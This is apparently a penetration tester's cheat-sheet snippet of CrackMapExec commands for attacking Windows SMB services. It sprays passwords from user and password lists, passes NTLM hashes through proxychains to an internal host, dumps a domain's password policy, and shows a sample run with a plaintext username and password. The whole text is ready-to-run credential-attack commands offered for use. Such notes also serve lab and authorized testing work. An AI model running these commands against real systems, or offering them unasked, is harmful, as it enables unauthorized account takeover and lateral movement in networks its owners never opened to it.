```sh
# Put finding password in password.txt
crackmapexec smb <IP> -u users.txt -p password.txt
proxychains crackmapexec smb 172.16.224.82 -u <each user in the domain> -H hash.txt OR -P <Password>

#Dump PAssword Policy
crackmapexec smb --pass-pol 10.10.10.169

└─$ proxychains crackmapexec smb ips.txt -u yoshi -p Mushroom!
```